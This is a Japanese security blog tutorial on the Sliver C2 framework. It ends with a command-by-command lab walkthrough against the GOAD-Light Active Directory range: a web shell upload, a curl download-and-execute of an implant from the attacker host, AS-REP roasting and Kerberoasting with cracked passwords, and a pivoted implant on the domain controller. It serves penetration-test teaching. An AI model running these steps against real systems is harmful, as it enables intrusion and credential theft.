Sliverを使ってみよう

NECセキュリティブログ

2026年9月4日

今回はペネトレーションテストやレッドチーム演習で利用できるオープンソースのC2フレームワーク「Sliver」を紹介します。最初にSliverの概要と基本的な使い方、特徴的な機能、インストール方法を順に説明します。その後、Active Directoryの演習環境であるGOAD-Lightを使用してSliverの使用例を説明します。
本ブログでは、セキュリティ診断で使用されるC2フレームワークの概要を理解することを目的としています。本ブログで紹介する内容を悪用しないでください。

目次

1. Sliverとは

Sliverは、Bishop Foxが開発・公開しているオープンソースのC2(Command and Control)フレームワークですnew window[1]。実際の攻撃者の行動を再現し、組織の防御態勢を評価するペネトレーションテストやレッドチーム演習で利用できます。
SliverはWindows、Linux、macOSを対象としたImplantを生成でき、mTLS、HTTP/HTTPS、DNS、WireGuardなど複数のC2通信方式をサポートしています。また、複数のオペレーターによる共同作業、ポートフォワーディング、SOCKS5プロキシ、Implant間のピボット、Armoryによる機能拡張など、ネットワーク内部での検証に役立つ機能を備えています。

1-1. Sliverの特徴

Sliverの主な特徴は次の通りです。

  • オープンソースであり、無償で使用できるできる
  • Windows、Linux、macOS向けのImplantをクロスコンパイルできる
  • mTLS、HTTP/HTTPS、DNS、WireGuardなど複数のC2通信方式を利用できる
  • リアルタイムに操作するSessionと、一定間隔で通信するBeaconを使い分けることができる
  • TCP転送、SOCKS5プロキシ、TCPおよび名前付きパイプによるピボットを利用できる
  • マルチプレイヤーモードにより複数のオペレーターで同じSliver Serverを操作できる
  • ArmoryからAliasやExtensionを導入し、機能を追加できる
  • インメモリで.NETアセンブリを実行できる
  • インメモリでCOFF/BOFを実行できる

1-2. Sliverの構成要素

Sliverの基本的な動作を理解する上で、Sliver Server、Server Console、Sliver Client、Implantの4つを理解することが重要ですnew window[2]

  • Sliver Serverは、Implantとの通信、C2リスナー、内部データベースなどを管理します。sliver-serverコマンドを実行すると、Sliver ServerとServer Consoleが起動します。
  • Server Consoleは、Sliver Serverを直接操作するためのインターフェースです。サーバー上でC2リスナーの起動、Implantの生成、オペレーターの管理などができます。Server ConsoleとSliver Clientでは多くの操作が共通しています。
  • Sliver Clientは、離れた端末からオペレータがSliver Serverを操作するSliver Serverを操作するための独立したクライアントです。Sliver Serverが生成した接続設定ファイルを使用して接続します。
  • Implantは、検証対象の端末上で動作し、Sliver Serverから受け取った指示の実行および結果の送信を担当します。

1-3. SessionとBeaconの違い

SliverのImplantには、SessionとBeaconという2つの動作モードがありますnew window[3]

  • SessionはSliver Serverとの接続を維持し、オペレーターの指示をリアルタイムに実行するモードで、対話的な操作に向いています。
  • Beaconは一定間隔でSliver Serverへチェックインし、登録されたタスクを取得して実行する非同期のモードです。常時接続を必要としない一方、実行結果を受け取るまでに次回のチェックインを待つ必要があります。

Beaconに対してinteractiveコマンドを実行すると、そのImplantに組み込まれているC2通信方式を使用してSessionを追加できます。このとき、Sessionを閉じてもBeacon自体は動作を継続します。用途に応じてBeaconとSessionを切り替えることができます。

2. Sliverの基本的な使い方

ここからは、Sliver Clientを使用した基本的な操作を説明します。コマンドのオプションはSliverのバージョンによって変更される場合があります。実行時にはhelpコマンドまたは<コマンド> --helpを確認してください。

2-1. Sliver Serverの起動

インストール方法は、インストールスクリプトを行う方法と手動でインストールした方法の2種類あります。公式のLinux用インストールスクリプトを使用した場合、Sliver Serverはsystemdサービスとして構成されますnew window[4]。サービスの状態は次のコマンドで確認できます。

sudo systemctl status sliver

停止している場合は、次のコマンドで起動します。

sudo systemctl start sliver

手動でインストールしたSliver Serverは、次のコマンドで起動します。この場合、Sliver ServerとともにServer Consoleが起動します。

sudo ./sliver-server

Server Consoleが表示され、「sliver >」とプロンプトから操作できれば起動は完了です。

2-2. Sliver ClientからSliver Serverへの接続

Server Consoleを使用する場合、Server Console をSliver Clientとして使用できるため、Sliver ClientをSliver Serverに接続する処理は不要です。Sliver Serverをsystemdサービスとして動作させる場合や、離れた端末から操作する場合はSliver Clientを使用します。 接続には、あらかじめSliver Serverで生成したオペレーター用の設定ファイルをSliver Clientへ取り込みます。
LinuxまたはmacOSでは、次のように設定ファイルを取り込みます。

./sliver-client import ./operator1.cfg
./sliver-client

Windowsでは次のように実行します。

.\sliver-client.exe import .\operator1.cfg
.\sliver-client.exe

複数の設定が登録されている場合は接続先を選択します。「sliver >」というプロンプトが表示されれば、Sliver Serverへの接続は完了です。

2-3. C2リスナーの起動

Implantからの接続を受け付けるには、Sliver Server上でC2リスナーを起動します。Sliverではmtls、http、https、dns、wgなどのコマンドを使用します。
HTTPSのC2リスナーを使用する場合、Sliver Clientで次のコマンドを実行します。

sliver > https

オプションを指定しない場合、HTTPSリスナーはTCP/443で待ち受けます。起動中のリスナーはjobsコマンドで確認できます。

sliver > jobs

2-4. Implantの生成

Implantはgenerateコマンドで生成します。次の例では、192.0.2.10で動作するC2リスナーにHTTP/HTTPSで接続する64ビット版Windows向けのSession型Implantを生成します。

sliver > generate --http 192.0.2.10 --os windows --arch amd64

--httpで生成したImplantは、接続時にHTTPSを試行し、失敗した場合にHTTPを試行しますnew window[5]。HTTPSだけを使用する検証では、Sliver ServerでHTTPSリスナーのみを起動します。
Beacon型Implantを生成する場合は、generate beaconコマンドを使用します。次の例では、60秒間隔でチェックインし、最大15秒のジッターを設定しています。

sliver > generate beacon --http 192.0.2.10 --os windows --arch amd64 --seconds 60 --jitter 15

2-5. Implantの起動と接続確認

生成したImplantを診断対象のWindows端末へ配置して実行します。

.\<生成されたImplant名>.exe

ImplantがSliver Serverへ接続すると、Sliver Clientに接続通知が表示されます。現在のSessionは次のコマンドで確認できます。

sliver > sessions

Beacon型Implantは次のコマンドで確認します。

sliver > beacons

2-6. Sessionを使用した遠隔操作

操作するSessionはuseコマンドで選択します。IDは先頭の一部だけでも指定でき、引数を付けずに実行すると選択画面が表示されます。

sliver > sessions
sliver > use <Session ID>

Sessionを選択した後は、次のようなコマンドで対象端末の情報を確認できます。

sliver (<Implant名>) > info
sliver (<Implant名>) > whoami
sliver (<Implant名>) > pwd
sliver (<Implant名>) > ls

backgroundコマンドを実行するとSessionを終了せずにSliver Clientのプロンプトへ戻り、別のSessionやBeaconを選択できます。

2-7. Beaconを使用した遠隔操作

Beaconを操作する場合も、useコマンドで対象を選択します。

sliver > beacons
sliver > use <Beacon ID>

Beaconに対してコマンドを実行すると、命令はタスクとしてSliver Serverに登録されます。Implantが次にチェックインした際にタスクを取得し、実行結果を返します。

sliver (<Implant名>) > whoami
sliver (<Implant名>) > tasks

過去のタスクと状態はtasksコマンド、過去の結果はtasks fetchコマンドで確認できます。対話的な操作が必要になった場合は、次のようにSessionを追加します。

sliver (<Implant名>) > interactive

作業後にcloseコマンドを実行すると、追加したSessionだけを閉じ、元のBeaconは残すことができます。

2-8. ファイルのアップロードとダウンロード

SessionまたはBeaconを選択した状態でuploadコマンドを実行すると、Sliver Clientを操作している端末上のファイルを対象端末へ転送できます。

sliver (<Implant名>) > upload /tmp/sample.txt C:\Windows\Temp\sample.txt

対象端末のファイルをSliver Clientを操作している端末に取得する場合はdownloadコマンドを使用します。

sliver (<Implant名>) > download C:\Windows\Temp\result.txt /tmp/result.txt

3. Sliverの高度な機能

Sliverは、基本的な遠隔操作以外にも、ネットワーク構成や目的に応じた機能を備えています。ここでは代表的な機能の概要を紹介します。

3-1. C2通信方式の選択

Sliverでは複数のC2通信方式を1つのImplantに設定でき、接続に失敗した場合の代替経路として使用できます。代表的な通信方式と特徴は次のとおりです。

通信方式 特徴 主な注意点
mTLS ImplantとServerが相互に証明書を検証する。Sliverが利用を推奨している方式の1つ 専用のTCP通信を許可する必要がある
HTTP/HTTPS 一般的なWeb通信と同じポートを利用しやすく、システムのプロキシ設定も利用できる --httpではHTTPS失敗後にHTTPも試行するため、Firewallとリスナーの設定を合わせる
DNS 対象からSliver Serverへ直接TCP接続できない環境でも、DNSリゾルバーを経由できる場合がある ドメインと権威DNSの設定が必要で、通信速度が遅く、DNSトンネルとして検出されやすいnew window[6]
WireGuard WireGuardを使用したC2で、専用のポートフォワーディングやSOCKS機能を利用できる UDP通信とWireGuardクライアントを設定する必要がある

例えば、mTLSとHTTP/HTTPSを設定したImplantは次のように生成できます。

sliver > generate --mtls c2.example.com --http c2.example.com --os windows --arch amd64

複数の通信方式を指定した場合、既定では性能を優先して順番に接続を試行します。

3-2. ポートフォワーディングとプロキシ

Sliverには、Sessionを経由して任意のTCP通信を内部ネットワークへ転送するportfwd機能がありますnew window[7]。次の例では、Sliver Clientを操作している端末の127.0.0.1:13389に接続した通信を、Implantから到達可能な192.168.56.11:3389へ転送します。

sliver (<Implant名>) > portfwd add --bind 127.0.0.1:13389 --remote 192.168.56.11:3389

特定のTCPサービスへ接続したい場合はポートフォワーディングが分かりやすい一方、複数の宛先やポートへ柔軟に接続したい場合はSOCKS5プロキシが便利です。Sessionを選択して次のコマンドを実行すると、Sliver Clientを操作している端末上にSOCKS5プロキシが作成されますnew window[8]new window[9]

sliver (<Implant名>) > socks5 start

表示された待受アドレスとポートをProxyChainsなどのSOCKS5対応ツールに設定すると、その通信をImplant経由で内部ネットワークへ送信できます。ただし、portfwdとインバンドSOCKS5はC2通信内にデータを多重化するため、通信方式によっては速度や安定性が低下する可能性があります。また、いずれもBeaconではなくSessionでの接続が必要です。

3-3. TCPと名前付きパイプによるピボット

Sliverにおける「Pivots」は、一般的なTCP転送とは異なり、Implantから別のImplantへC2通信を中継する機能ですnew window[10]。外部のSliver Serverへ直接接続できない端末で、すでに接続済みのImplantを中継点としてC2接続を確立できます。
TCPピボットは各プラットフォームで利用できます。中継元となるSessionを選択し、次のようにTCPピボットリスナーを起動します。

sliver (<中継元Implant名>) > pivots tcp

続いて、中継元端末の内部ネットワーク側IPアドレスとpivots tcpコマンドで表示された待受ポートを指定して、新しいImplantを生成します。

sliver > generate --tcp-pivot 192.168.56.22:9898 --os windows --arch amd64

名前付きパイプによるピボットはWindowsでのみ利用できます。中継元のSessionで名前付きパイプのリスナーを起動し、同じパイプ名を指定したImplantを生成します。

sliver (<中継元Implant名>) > pivots named-pipe --bind sliver-pivot
sliver > generate --named-pipe 192.168.56.22/pipe/sliver-pivot --os windows --arch amd64

ピボット接続ではImplant同士が認証を行うため、同じSliver Serverで生成したImplant同士だけが接続できます。また、SliverのPivotsはSessionでのみ利用できます。

3-4. マルチプレイヤーモード

マルチプレイヤーモードを使用すると、複数のオペレーターが同じSliver Serverへ接続し、Implantやタスクの情報を共有できますnew window[11]
Server Consoleで次のコマンドを実行し、マルチプレイヤー用のリスナーを起動します。

sliver > multiplayer

続いてオペレーターごとの設定ファイルを生成します。--lhostには、各オペレーターのSliver Clientから到達できるSliver ServerのIPアドレスまたはホスト名を指定します。

sliver > new-operator --name operator1 --lhost 192.0.2.10 --permissions all

生成した設定ファイルを安全な方法で各オペレーターへ配布し、それぞれのSliver Clientへ取り込むと接続できます。複数人が同じBeaconへタスクを登録した場合も、タスクは登録順に処理されます。長時間動作するタスクが同時に登録されると、他の結果の表示が遅延することがあるため、実施前に対象と操作内容を分担しておくことが重要です。

3-5. Armoryによる機能拡張

Armoryは、SliverのAliasとExtensionを管理するパッケージマネージャーですnew window[12]。BOFや.NETツールなどの追加機能をSliver Clientへ導入できます。
利用可能なパッケージは次のコマンドで確認します。

sliver > armory

パッケージを導入する場合は、内容と提供元を確認してから次のコマンドを実行します。

sliver > armory install <パッケージ名>

導入済みのAliasとExtensionは、それぞれaliasesコマンドとextensionsコマンドで確認できます。また、更新にはarmory updateコマンドを使用します。

4. Sliverのインストール

Sliver ServerはLinux、Windows、macOSで動作しますが、公式ドキュメントではLinuxまたはmacOS上での運用が推奨されていますnew window[3]。本記事では、Kali Linux上にSliver Serverをインストールする想定で説明します。
Sliverは公式のリリースページから実行ファイルをダウンロードできますnew window[13]。Linuxでは公式のインストールスクリプトも利用でき、Sliver Server、Windows向けクロスコンパイラー、systemdサービス、ローカルユーザー用のSliver Client接続設定がまとめて構成されますnew window[4]
インストールスクリプトを使用する場合は、実行前に内容を確認します。

curl -fsSL https://sliver.sh/install -o /tmp/sliver-install.sh
less /tmp/sliver-install.sh
sudo bash /tmp/sliver-install.sh

インストール後、次のコマンドでサービスの状態を確認します。

sudo systemctl status sliver

自動起動は設定されていないため、Kali Linuxの再起動後はsystemctl start sliverコマンドでSliver Serverを起動する必要があります。
systemdでSliver Serverが起動していることを確認した後、Sliver Clientを起動します。

sliver

5. GOAD-Lightを使用したSliverの使用例

5-1. シナリオとネットワーク構成

今回の例では、Active Directory(AD)環境の演習環境としてGOAD-Lightを使用します。Kali Linuxから直接アクセスできる対象をFirewall(pfSense)によってSRV02(castelblack)のIIS(TCP/80)のみに制限します。GOAD-Lightの公式ドキュメントでは、SRV02(castelblack)のIISにファイルをアップロードできる設定が含まれることが示されていますnew window[14]new window[15]。この機能を利用してSliver Implantを起動し、SRV02(castelblack)からKali LinuxへのHTTPS C2接続を確立します。
その後、SliverのSOCKS5プロキシを使用して、Kali Linuxから直接到達できないDC02(winterfell)へ接続します。さらに、brandon.starkユーザーに対するAS-REP Roastingで資格情報を取得し、そのアカウントを使用したKerberoastingによって、新たにRDP権限を持つアカウントjon.snowユーザーの資格情報を取得し、SRV02(castelblack)を経由してC2通信を行う新たなImplantを実行するところまでを説明します。
本稿で使用するIPアドレスは次のとおりです。

機器 インターフェース/IPアドレス 役割
Kali Linux 192.168.210.50 Firewall WAN側との接続、Sliver Server
Firewall WAN: 192.168.210.100 Kali Linux側のFirewallインターフェース
Firewall LAN: 192.168.200.100 GOAD-Light側のFirewallインターフェース
SRV02(castelblack) 192.168.200.22 IIS
DC02(winterfell) 192.168.200.11 Domain Controller

使用する主な通信ルールは次のとおりです。

  • Kali LinuxからSRV02(castelblack)へはTCP/80のみ許可
  • Kali LinuxからDC02(winterfell)への直接アクセスは拒否
  • SRV02(castelblack)からDC02(winterfell)への通信は制限なし

なお、本来のGOAD-LightではDC02でMicrosoft Defenderが有効になっていますが、今回は説明を簡略化するために無効化しています。

5-2. IISのASP.NETファイルアップロード機能による初期侵入

GOAD-Lightの公式ドキュメントでは、SRV02(castelblack)のIISがファイルのアップロードを許可し、アップロードしたコードがIIS実行アカウントで動作するシナリオが示されていますnew window[14]new window[15]。最初にKali LinuxからIISの応答とアップロード画面を確認します。

PayloadsAllTheThingsのshell.aspxを使用してシェルの取得を試みますnew window[16]。 shell.aspxを編集し、die();をコメントアウトすることで許可するIPアドレスの制限を解除します。

$ cat shell.aspx | grep -A 2 '!validIp'
        if (!validIp) {
                //die();
        }

ブラウザでhttp://192.168.200.22/Default.aspxを開き、ファイル選択欄からshell.aspxを選択して送信します。

ブラウザでhttp://192.168.200.22/upload/shell.aspxを開き、whoamiコマンドを実行できることを確認します。

SliverにはASPX形式のWeb Shellを生成する標準機能はありません。そのため、shell.aspxを使用してImplantをダウンロード・実行します。

5-3. Sliver Implantのダウンロードと実行

Sliver ClientでHTTPSリスナーを開始します。

sliver > https --lhost 192.168.210.50 --lport 443
sliver > jobs

次に、Windows向けSession型Implantを生成します。

[127.0.0.1] sliver > generate --os windows --arch amd64 --format exe --http https://192.168.210.50:443 --
save /home/kali/sliver/

[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 58s
[*] Implant saved to /home/kali/sliver/CONFIDENTIAL_MISS.exe

生成したexeを簡易Webサーバーでホストします。

python3 -m http.server 80

shell.aspxでImplantをダウンロード・実行するコマンドを実行します。

curl.exe -fSLo "%TEMP%\z.exe" "http://192.168.210.50/CONFIDENTIAL_MISS.exe" && start "" /b "%TEMP%\z.exe"

Implantが実行され、Sliver Client側で接続を受け付けたことを確認できます。

[*] Session 50f8bded CONFIDENTIAL_MISS - 192.168.200.22:51218 (castelblack) - windows/amd64 - Fri, 21 Aug
 2026 16:07:04 EDT

5-4. SRV02(castelblack)とのC2接続

Implantを実行した後、Sliver ClientでSessionを確認します。

[127.0.0.1] sliver > sessions

 ID         Transport   Remote Address         Hostname      Username   Operating System   Health  
========== =========== ====================== ============= ========== ================== =========
 50f8bded   http(s)     192.168.200.22:51218   castelblack   <err>      windows/amd64      [ALIVE] 

[127.0.0.1] sliver > use 50f8bded

[*] Active session CONFIDENTIAL_MISS (50f8bded-16d4-438c-966f-94c4b5d41753)

info,whoami,pwdで情報を確認します。

[127.0.0.1] sliver (CONFIDENTIAL_MISS) > info

        Session ID: 50f8bded-16d4-438c-966f-94c4b5d41753
              Name: CONFIDENTIAL_MISS
          Hostname: castelblack
              UUID: a0024d56-a77b-c1b3-2aa4-15a20ddef6f4
          Username: <err>
               UID: <err>
               GID: <err>
               PID: 1620
                OS: windows
           Version: Server 2016 build 17763 x86_64
            Locale: en-US
              Arch: amd64
         Active C2: https://192.168.210.50:443
    Remote Address: 192.168.200.22:51218
         Proxy URL:
Reconnect Interval: 1m0s
     First Contact: Fri Aug 21 16:07:04 EDT 2026 (7m21s ago)
      Last Checkin: Fri Aug 21 16:14:24 EDT 2026 (1s ago)

[127.0.0.1] sliver (CONFIDENTIAL_MISS) > whoami

Logon ID: <err>
[*] Current Token ID: IIS APPPOOL\DefaultAppPool
[127.0.0.1] sliver (CONFIDENTIAL_MISS) > pwd

[*] c:\windows\system32\inetsrv

また、shellコマンドによりSRV02(castleblack)上でコマンドを実行することもできます。

[127.0.0.1] sliver (CONFIDENTIAL_MISS) > shell


[*] Shell management: `shell ls`, `shell attach <id>`
[*] Escape: press Ctrl-] to return to the Sliver client
[*] Opening shell tunnel ...

[*] Started remote shell [2] with pid 1368

PS C:\windows\system32\inetsrv> hostname
hostname
castelblack
PS C:\windows\system32\inetsrv> whoami
whoami
iis apppool\defaultapppool
PS C:\windows\system32\inetsrv> exit
Shell exited

5-5. SOCKS5プロキシによる内部ネットワークへのピボット

SRV02(castelblack)のSessionを選択し、Sliver Clientを実行しているKali LinuxのループバックアドレスでSOCKS5プロキシへの通信を待ち受けます。

[127.0.0.1] sliver (CONFIDENTIAL_MISS) > socks5 start --host 127.0.0.1 --port 1081

[*] Started SOCKS5 127.0.0.1 1081
⚠️  In-band SOCKS proxies can be a little unstable depending on protocol

[127.0.0.1] sliver (CONFIDENTIAL_MISS) > socks5
[127.0.0.1] sliver (CONFIDENTIAL_MISS) >
 ID   Session ID                             Bind Address     Username   Passwords
==== ====================================== ================ ========== ===========
  1   50f8bded-16d4-438c-966f-94c4b5d41753   127.0.0.1:1081

Kali Linuxに、proxy.confとしてproxychains設定ファイルを作成します。 timeout値はローカル検証環境のため小さい値としています。

strict_chain
proxy_dns
tcp_read_time_out 500
tcp_connect_time_out 500

[ProxyList]
socks5 127.0.0.1 1081

SOCKS5プロキシを経由することで、DC02(winterfell)へのアクセスが可能になります。

$ sudo proxychains -q -f proxy.conf nmap -sT -Pn 192.168.200.11
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-21 16:45 -0400
Nmap scan report for 192.168.200.11
Host is up (0.00s latency).
Not shown: 986 closed tcp ports (conn-refused)
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
3389/tcp open  ms-wbt-server
5985/tcp open  wsman
5986/tcp open  wsmans

Nmap done: 1 IP address (1 host up) scanned in 563.74 seconds

また、DC02(winterfell)に対してsmbで問い合わせることでどのようなユーザーが存在するかを確認できます。

$ proxychains -q -f proxy.conf nxc smb 192.168.200.11 -u '' -p '' --users
SMB         192.168.200.11  445    WINTERFELL       [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)

SMB         192.168.200.11  445    WINTERFELL       [+] north.sevenkingdoms.local\: 
SMB         192.168.200.11  445    WINTERFELL       -Username-                    -Last PW Set-       -BadPW- -Description-

SMB         192.168.200.11  445    WINTERFELL       Guest                                      0       Built-in account for guest access to the computer/domain 
SMB         192.168.200.11  445    WINTERFELL       arya.stark                    2026-08-20 04:32:59 0       Arya Stark 
SMB         192.168.200.11  445    WINTERFELL       sansa.stark                   2026-08-20 04:33:06 0       Sansa Stark 
SMB         192.168.200.11  445    WINTERFELL       brandon.stark                 2026-08-20 04:33:08 0       Brandon Stark 
SMB         192.168.200.11  445    WINTERFELL       rickon.stark                  2026-08-20 04:33:10 0       Rickon Stark 
SMB         192.168.200.11  445    WINTERFELL       hodor                         2026-08-20 04:33:11 0       Brainless Giant 
SMB         192.168.200.11  445    WINTERFELL       jon.snow                      2026-08-20 04:33:13 0       Jon Snow 
SMB         192.168.200.11  445    WINTERFELL       samwell.tarly                 2026-08-20 04:33:15 0       Samwell Tarly (Password : Heartsbane) 
SMB         192.168.200.11  445    WINTERFELL       jeor.mormont                  2026-08-20 04:33:16 0       Jeor Mormont 
SMB         192.168.200.11  445    WINTERFELL       sql_svc                       2026-08-20 04:33:18 0       sql service 
SMB         192.168.200.11  445    WINTERFELL       [*] Enumerated 10 local users: NORTH

5-6. brandon.starkユーザーに対するAS-REP Roasting

GOAD-Lightでは、north.sevenkingdoms.localドメインのbrandon.starkユーザーがAS-REP Roastingの対象として設定されていますnew window[14]new window[18]。AS-REP RoastingはKerberosの事前認証を要求しないアカウントに対してAS-REPを要求し、オフライン解析可能なデータを取得する手法です。

ImpacketのGetNPUsersnew window[19]をSOCKS5経由で実行します。

$ proxychains -q -f proxy.conf \
  impacket-GetNPUsers 'north.sevenkingdoms.local/brandon.stark' \
  -no-pass \
  -request \
  -dc-ip 192.168.200.11 \
  -format hashcat \
  -outputfile brandon.asrep.txt
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Getting TGT for brandon.stark
$krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL:9ff41f(中略)

得られたハッシュをjohn the ripperにより解析します。

$ john -w=/usr/share/wordlists/rockyou.txt brandon.asrep.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1
AES 256/256 AVX2 8x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iseedeadpeople   ($krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL)
1g 0:00:00:00 DONE (2026-08-21 16:52) 25.00g/s 1356Kp/s 1356Kc/s 1356KC/s soydivina..250984
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

これにより、brandon.stark:iseedeadpeopleという資格情報が得られました。

5-7. jon.snowユーザーに対するKerberoasting

Kerberoastingでは、取得したbrandon.starkユーザーの資格情報を使用して、Service Principal Name(SPN)が設定されたアカウントのサービスチケットを要求します。GOAD-Lightではjon.snowユーザーがKerberoastingの対象として設定されていますnew window[14]new window[18]。Kali LinuxでImpacketのGetUserSPNsnew window[20]をSOCKS5経由で実行します。

$ proxychains -q -f proxy.conf \
  impacket-GetUserSPNs 'north.sevenkingdoms.local/brandon.stark' \
  -dc-ip 192.168.200.11 \
  -request \
  -request-user jon.snow \
  -outputfile kerberoastable.txt

Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

Password:
ServicePrincipalName                       Name      MemberOf                                                    PasswordLastSet             LastLogon  Delegation
-----------------------------------------  --------  ----------------------------------------------------------  --------------------------  ---------  -----------
CIFS/winterfell.north.sevenkingdoms.local  jon.snow  CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local  2026-08-20 00:33:13.431455  <never>    constrained 
HTTP/thewall.north.sevenkingdoms.local     jon.snow  CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local  2026-08-20 00:33:13.431455  <never>    constrained 

[-] CCache file is not found. Skipping...
$ cat kerberoastable.txt
$krb5tgs$23$*jon.snow$NORTH.SEVENKINGDOMS.LOCAL$north.sevenkingdoms.local/jon.snow*$0de494(中略)

kerberoastable.txtにjon.snowユーザーのSPNと$krb5tgs$形式のチケットが含まれることを確認します。 先ほど同様にjohn the ripperを使用してパスワードクラックを試行します。

$ john -w=/usr/share/wordlists/rockyou.txt kerberoastable.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iknownothing     (?)
1g 0:00:00:02 DONE (2026-08-21 17:14) 0.3759g/s 2794Kp/s 2794Kc/s 2794KC/s ikulet..ikkezelf85
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

これにより、jon.snow:iknownothingという資格情報が得られました。

5-8. ピボットを使用したSessionの確立

NetExecを使用することでjon.snowユーザーとしてコマンドが実行できることがわかります。

$ proxychains -q -f proxy.conf nxc rdp 192.168.200.11 -u jon.snow -p iknownothing -x whoami
[!] Executing remote command via RDP will disconnect the Windows session (not log off) if the targeted us
er is connected via RDP, do you want to continue ? [Y/n]
RDP         192.168.200.11  3389   WINTERFELL       [*] Windows 10 or Windows Server 2016 Build 17763 (na
me:WINTERFELL) (domain:north.sevenkingdoms.local) (nla:True)
RDP         192.168.200.11  3389   WINTERFELL       [+] north.sevenkingdoms.local\jon.snow:iknownothing (
Pwn3d!)
RDP         192.168.200.11  3389   WINTERFELL       [+] Executing command: whoami with delay 5 seconds
RDP         192.168.200.11  3389   WINTERFELL       [+] Waiting for clipboard to be ready...
RDP         192.168.200.11  3389   WINTERFELL       north\jon.snow

pivotsコマンドを使用して、SRV02(castelblack)を経由してDC02(winterfell)へアクセスします。最初に、中継元となるSRV02(castelblack)上のSessionを選択し、TCPピボットリスナーを起動します。

[127.0.0.1] sliver > sessions

 ID         Name                Transport   Remote Address         Hostname      Username   Process (PID)                  Integrity   Operating System   Locale   Last Message                            Health 

========== =================== =========== ====================== ============= ========== ============================== =========== ================== ======== ======================================= ========
=
 66c9fcd9   CONFIDENTIAL_MISS   http(s)     192.168.200.22:50356   castelblack   <err>      C:\Windows\TE
MP\z.exe (1620)   -           windows/amd64      en-US    Sun Aug 23 14:49:40 EDT 2026 (2s ago)   [ALIVE]


[127.0.0.1] sliver > use 66c9fcd9

[*] Active session CONFIDENTIAL_MISS (66c9fcd9-7604-4455-8267-29e591d853bd)

[127.0.0.1] sliver (CONFIDENTIAL_MISS) > pivots tcp

[*] Started tcp pivot listener :9898 with id 1

次に、pivotsを使うImplantを生成します。

[127.0.0.1] sliver (CONFIDENTIAL_MISS) > generate --tcp-pivot 192.168.200.22:9898 --os windows --arch amd
64

[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 59s
[*] Implant saved to /home/kali/SMILING_STEP-SON.exe

Kali Linuxの80番ポートで簡易Webサーバーを建て、生成したSMILING_STEP-SON.exeを転送できるようにします。

python3 -m http.server 80

DC02(winterfell)上のjon.snowユーザーとして、SMILING_STEP-SON.exeをダウンロード・実行します。

┌──(kali㉿kali)-[~/sliver]
└─$ proxychains -q -f proxy.conf nxc rdp 192.168.200.11 -u jon.snow -p iknownothing -x 'curl.exe -O 192.168.210.50/SMILING_STEP-SON.exe'
[!] Executing remote command via RDP will disconnect the Windows session (not log off) if the targeted us
er is connected via RDP, do you want to continue ? [Y/n]
RDP         192.168.200.11  3389   WINTERFELL       [*] Windows 10 or Windows Server 2016 Build 17763 (na
me:WINTERFELL) (domain:north.sevenkingdoms.local) (nla:True)
RDP         192.168.200.11  3389   WINTERFELL       [+] north.sevenkingdoms.local\jon.snow:iknownothing (Pwn3d!)
RDP         192.168.200.11  3389   WINTERFELL       [+] Executing command: curl.exe -O 192.168.210.50/SMILING_STEP-SON.exe with delay 5 seconds
RDP         192.168.200.11  3389   WINTERFELL       [+] Waiting for clipboard to be ready...
RDP         192.168.200.11  3389   WINTERFELL       [-] Clipboard is empty or contains non-text data


┌──(kali㉿kali)-[~/sliver]
└─$ proxychains -q -f proxy.conf nxc rdp 192.168.200.11 -u jon.snow -p iknownothing -x 'SMILING_STEP-SON.exe'
[!] Executing remote command via RDP will disconnect the Windows session (not log off) if the targeted user is connected via RDP, do you want to continue ? [Y/n]
RDP         192.168.200.11  3389   WINTERFELL       [*] Windows 10 or Windows Server 2016 Build 17763 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (nla:True)
RDP         192.168.200.11  3389   WINTERFELL       [+] north.sevenkingdoms.local\jon.snow:iknownothing (Pwn3d!)
RDP         192.168.200.11  3389   WINTERFELL       [+] Executing command: SMILING_STEP-SON.exe with delay 5 seconds
RDP         192.168.200.11  3389   WINTERFELL       [+] Waiting for clipboard to be ready...
RDP         192.168.200.11  3389   WINTERFELL       [-] Clipboard is empty or contains non-text data

SRV02(castelblack)を経由してSliver ServerにC2通信が行われます。

[*] Session 0da1e441 SMILING_STEP-SON - 192.168.200.22:50356->CONFIDENTIAL_MISS-> (winterfell) - windows/amd64 - Sun, 23 Aug 2026 14:59:13 EDT

[127.0.0.1] sliver (CONFIDENTIAL_MISS) > sessions

 ID         Name                Transport   Remote Address                              Hostname      Use
rname         Process (PID)                                   Integrity   Operating System   Locale   Last Message                             Health
========== =================== =========== =========================================== ============= ====
============ =============================================== =========== ================== ======== ====
==================================== =========
 66c9fcd9   CONFIDENTIAL_MISS   http(s)     192.168.200.22:50356                        castelblack   <err>            C:\Windows\TEMP\z.exe (1620)                    -           windows/amd64      en-US    Sun Aug 23 15:01:51 EDT 2026 (1s ago)    [ALIVE]

 0da1e441   SMILING_STEP-SON    pivot       192.168.200.22:50356->CONFIDENTIAL_MISS->   winterfell    NOR
